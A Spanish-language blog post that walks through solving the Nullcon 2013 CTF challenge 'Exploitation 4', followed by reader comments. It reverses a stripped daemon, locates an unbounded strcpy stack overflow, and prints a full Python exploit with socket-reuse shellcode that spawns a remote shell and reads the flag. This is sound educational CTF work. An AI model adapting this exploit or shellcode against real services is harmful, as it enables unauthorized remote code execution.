miércoles, 13 de marzo de 2013

Nullcon 2013 "Battle Underground" CTF - Exploitation 4

Hace ya unos días estuve "echando un ojo" junto con Javier Civantos (colega de w3b0n3s) a los niveles propuestos en el CTF Battle Underground de la Nullcon. En él había 5 categorias de 5 pruebas cada una, compuestas de: programación, criptografía, ingeniería inversa, explotación y otros tipos (miscellaneous). Cada prueba, según el nivel de dificultad, sumaba 100, 200, 300 o 400 puntos. Aunque no pudimos resolver muchas debido al nivel de dificultad y duración del CTF, una de las que más me entretuvo fue Exploitation 4, de 200 puntos.

En esta entrada trataré de exponer los pasos que llevé a cabo para resolverla.

Figura 1. Descripción de la prueba.

Como vemos en la imagen, la prueba consiste en explotar un daemon que corre en el puerto 6791 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.

Descarga: Exploitation 4
MD5: cd996acf35840d21a4062764511f10d2

Identificación del binario

Una vez descargado el binario, nos interesa obtener información de él, por lo que usamos el comando file.

$ file srv
srv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0xf76710059fef89b0cc25d5847ed47913aa9bd3ce, stripped

Como se observa, es un ejecutable en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y se encuentra "stripped", que quiere decir que los símbolos que genera el compilador (p.e, nombres de las funciones) han sido eliminados.

Una vez identificado el binario, es útil saber las protecciones implementa. Para ello usamos la herramienta checksec.

$ /tools/exploiting/checksec.sh --file srv
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX disabled   No PIE                  srv

Por suerte, el binario no implementa ninguna protección considerable, aunque no sabemos si la máquina donde está corriendo tiene ASLR activado.

Tras ejecutar el binario, se queda en el puerto 6791 a la espera de conexiones. Si realizamos una, nos manda ingresar una identificación para registrarnos con el sistema.

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani
First name not found

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani Gar
First name not found

Enviemos el contenido que enviemos, el servidor siempre nos devuelve "First name not found", por lo que nos toca hacer ingeniería inversa al binario para saber qué hace en realidad.

Después de pasar un rato haciendo un pequeño análisis con IDA, podemos ver que la función que procesa la cadena que enviamos hace algo como lo siguiente:

//----- (0804887C) --------------------------------------------------------
ssize_t __cdecl comprobarCadena(int fd, char *cadena)
{
  size_t v2; // eax@6
  char resto; // [sp+18h] [bp-140h]@1
  char nombre; // [sp+7Ch] [bp-DCh]@1
  char apellido; // [sp+E0h] [bp-78h]@1
  char *encontrado; // [sp+144h] [bp-14h]@1
  char *src; // [sp+148h] [bp-10h]@1
  void *msgEnviar; // [sp+14Ch] [bp-Ch]@2
  
  memset(&nombre, 0, 0x64u);
  memset(&apellido1, 0, 0x64u);
  memset(&apellido2, 0, 0x64u);
  
  src = cadena;
  
  // Busca en cadena la primera aparición de dos puntos (:)
  encontrado = strchr(cadena, 58);
  
  if ( encontrado )
  {
    // Coloca un nulo donde ha encontrado los dos puntos e incrementa
    *encontrado++ = 0;
 
    // Copia el nombre (hasta llegar al nulo), con un máximo de 0x63 bytes
    strncpy(&nombre, src, 0x63u);
 
    // Ahora src apunta al primer apellido
    src = encontrado;
 
    // Busca la siguiente aparición de dos puntos (segundo apellido)
    encontrado = strchr(encontrado, 58);
 
    // Si lo encuentra...
    if ( encontrado )
    {
 
      // Coloca un nulo donde ha encontrado los dos puntos e incrementa
      *encontrado++ = 0;
   
      // Copia el primer apellido
      strncpy(&apellido1, src, 0x63u);
   
      // Apunta src al segundo apellido
      src = encontrado;
   
      // Copia en apellido2 el resto (sin limites??)
      strcpy(&apellido2, encontrado);
   
      // Sustituye los bytes 0x0A (\n), 0x0D (\r), 0x20 (ESPACE) por nulos
      filtrarCaracteres(&nombre);
      filtrarCaracteres(&apellido1);
      filtrarCaracteres(&apellido2);
   
      msgEnviar = "Thank you ;)\n";
    }
    else
      msgEnviar = "Last name not found\n";
  }
  else
    msgEnviar = "First name not found\n";
 
  v2 = strlen((const char *)msgEnviar);
  return send(fd, msgEnviar, v2, 0);
}

Con esto las cosas quedan bastante más claras. Como se ve, la función que comprueba el mensaje que enviamos, requiere que la cadena a enviar esté dividida por dobles puntos (:). Una vez es recibida, la parte en 3 trozos (nombre, primer apellido y segundo apellido) y copia cada uno ellos en un buffer distinto con la función strncpy, a diferencia del tercer trozo, que es copiado con strcpy (sin limites). He aquí el stack overflow.

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: NOMBRE:APELLIDO1:APELLIDO2
Thank you ;)

Enviando la identificación correctamente nos devuelve un "Thank you ;)". ¡¡A EXPLOTAR!!

$ echo A:B:$(/tools/exploiting/pattern_create.rb 150) | ncat 127.0.0.1 6791
Enter Identification to register with the system: 

Después de enviar la cadena de caracteres aleatorios generada con pattern_create, si echamos un ojo a los logs del sistema (/var/log/messages), podemos ver que se ha detectado una violación de segmento (segfault) en el proceso "srv" al no poder acceder a la dirección 0x65413165 (parte de nuestra cadena), por lo que hemos sobreescrito la dirección de retorno.

srv[10269]: segfault at 65413165 ip 0000000065413165 sp
$ /tools/exploiting/pattern_offset.rb 65413165
[*] Exact match at offset 124

Con pattern_offset vemos que comienza a sobreescribirse después del byte 124.

Ahora sólo nos quedaría enviar un shellcode y saltar hacia él, pero como no sabemos si el server tiene ASLR activado, vamos a tratar buscar con msfelfscan alguna instrucción de salto al registro ESP, de forma que podamos saltárnoslo utilizando una técnica ret2reg.

NOTA: Para no alargar demasiado la entrada, si queréis saber más sobre técnicas ret2reg podéis echar un ojo a la sección de Papers de la gran comunidad OverflowedMinds, en que la podéis encontrar unos excelentes documentos sobre bypass de ASLR por parte de vlan7.

$ /tools/exploits/msf4/msfelfscan -j esp srv 
[srv]
0x08048827 jmp esp

Perfecto, en la dirección 0x08048827 ha encontrado un "jmp esp". Ahora la idea es colocar el shellcode justo después de la dirección de retorno a escribir.

[ RELLENO - 124 bytes ] [ RET - JMP ESP ] [ SHELLCODE ]

Para comprobar que en el momento que la dirección de retorno es sobreescrita, ESP apunta a la continuación de los datos que hemos enviado, lanzamos lo siguiente mientras en otra ventana seguimos a los procesos secundarios de srv con GDB.

$ perl -e 'print "B:B:" . "A"x128 . "B"x100' | ncat 127.0.0.1 6791
Enter Identification to register with the system: 
$ gdb -q
(gdb) shell pgrep srv
5578
(gdb) attach 5578
Attaching to process 5578
Reading symbols from /home/dani/nullcon/exploitation_4/srv...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xf771e430 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.
[New process 5735]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5735]
0x41414141 in ?? ()

(gdb) i r esp
esp            0xffe73c00 0xffe73c00

(gdb) x/104xb $esp-8
0xffe73bf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffe73c00: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42   --->  ESP
0xffe73c08: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c10: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c18: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c20: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c28: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c30: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c38: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c40: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c48: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c50: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c58: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
(gdb) 

Como vemos, después de sobreescribirse la dirección de retorno, ESP apunta al resto de datos enviados, por lo que ahí alojaremos la shellcode para luego saltar hacia ella con el "jmp esp", y de esta forma evadir el ASLR.

Teniendo todos estos datos, sólo nos queda hacer un pequeño exploit.

NOTA: Debido a diversos problemas durante la explotación, me vi obligado a usar una shellcode que rehusara el socket del cliente, duplicando su descriptor (4) en STDIN (0), STDOUT (1) y STDERR (2) con un dup2, y luego ejecutara un execve("/bin/sh", 0, 0), pudiendo de esta forma interactuar con el shell abierto a través del socket.

Si os interesa saber más sobre el shellcode, podéis descargar el código en ensamblador desde aquí.

Descargar exploit

#!/usr/bin/python
#
# NullCon 2013 CTF - Battle Underground
# Exploitation 4 - 200 points (ASLR)
# danigargu @ w3b0n3s - http://danigargu.blogspot.com/
# Flag: 794fc8e2576887bedd36b20757a533a3
#

import os
import sys
import time
from socket import *
from struct import pack

p = lambda x : pack("<L" , x)

s = socket(AF_INET, SOCK_STREAM)
#s.connect(('127.0.0.1', 6791))
s.connect(('nullcon-e3.no-ip.org', 6791))
 
junk = "B:B:" + "A"*124

jmp_esp = p(0x08048827)  # jmp esp
fd = 4                   # socket client fd

payload = jmp_esp

# shellcode - socket reuse
# dup2(4,0) & dup2(4,1) & dup2(4,2) & execve("/bin/sh", 0, 0)
payload += ("\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80"
            "\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
            "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80")

s.recv(255)
s.send(junk + payload)
time.sleep(0.5)

# interact with the shell
while True:
 try:
  sys.stdout.write("$ ")
  sys.stdout.flush()
  c = sys.stdin.readline()
  s.send(c)
  time.sleep(0.5)
  sys.stdout.write(s.recv(4095))
 except KeyboardInterrupt, e:
  break

Tras ejecutar el exploit vemos que podemos ejecutar comandos en la máquina de la prueba, descubriendo de esta forma el fichero key.txt que se encuentra en la raíz, con el que a partir de su contenido podemos dar por solucionada la prueba ;-D

dani@debian:~/nullcon$ python exploit.py 
$ pwd
/
$ ls
/bin//sh: 2: ls: not found
$ echo *
bin etc key.txt lib srv var
$ cat key.txt
794fc8e2576887bedd36b20757a533a3
$ 

FLAG: 794fc8e2576887bedd36b20757a533a3

Un saludo!

8 comentarios:

  1. Genial tio!

    Imagino que encontraste una instrucción 'jmp esp' debido a que el ejecutable tenía librerías compartidas, no? O tenía por ahí un 'jmp esp' hardcodeado?

    Tienes el código del shellcode en ensamblador? Estaría bien verlo ;)

    Me ha gustado cómo te montas la shell interactiva!

    Gracias!

    ResponderEliminar
  2. Buenas Newlog!

    No, el msfelfscan realiza la búsqueda en secciones ejecutables del binario. El 'jmp esp' ese lo encontró en la sección .text. Posiblemente el creador de la prueba lo colocaría en el código para facilitar la explotación, pero no sé.

    Otra idea, como tú bien dices, podía haber sido buscar la instrucción en las librerías compartidas, pero debido a que son afectadas por ASLR, y que tampoco se tenía acceso ellas, el tema se hubiese complicado un poquillo más.

    El código del shellcode no lo he encontrado, se ve que lo tenía por aquí guardado de algún otro CTF con prisas. De todas formas, ya que lo dices, voy a tratar de recomponerlo, y así hago memoria ;-D

    Me alegra que te haya gustado tío! Tengo preparado algo parecido con ROP para exploits remotos (ASLR/NX) a partir de la creación de un custom stack con técnicas Multistage. A ver si saco algo más de tiempo para investigarlo y lo publico.

    Gracias a ti por echarlo un ojo, crack! ;-)

    ResponderEliminar
  3. Acabo de modificar la entrada, aquí dejo el código en ensamblador del shellcode utilizado: https://sites.google.com/site/danigargu/shellcodes/socket_reuse.s

    Un saludo!

    ResponderEliminar
  4. Muy currado Dani,
    ¿qué problemas tenías para tener que reutilizar el socket?

    ResponderEliminar
  5. Gracias Adrián! ;-)

    El problema era que no me funcionaba ningún reverse tcp shell, pero vaya, seguramente sería porque los estaba generando con Metasploit y sus encoders, ya que hace unos días lo probé con otro shellcode y tiraba perfectamente.

    ResponderEliminar
  6. Se me pasó tu respuesta Dani.

    Gracias por el código, quería ver una cosa a ver si lo hacías como imaginaba y veo que sí. Pero tengo una duda, cómo sabes que el descriptor del socket es un 4? Ese número podría ser cualquier otro dependiendo de las conexiones que tuviera abiertas el servicio, no?
    Imagino que depende de como esté programado el servicio... Qué hiciste, probar con un 4 y funcionó? O quizá sea yo que me equivoco y siempre sea así.

    Saludos y gracias por el código ;)

    ResponderEliminar
  7. De nada hombre!

    En este caso lo sé porque hasta el mismo servidor nos dice que usa el descriptor 4 para el socket del cliente, aunque como crea hijos con fork(), siempre usa el 3 para el servidor y el 4 para el cliente. Pero sí, si no usaría forks, ese número podría ser cualquier otro según las conexiones abiertas.

    Para obtener los descriptores también podemos depurar o echar un ojo al directorio "/proc/{pid}/fd/".

    Este enlace igual te resulta interesante ;-)


    Un saludo!

    ResponderEliminar
  8. Ahhh sch3m4, cómo me divertí en este hilo :D
    http://www.wadalbertia.org/foro/viewtopic.php?f=14&t=5139

    Hablamos!

    ResponderEliminar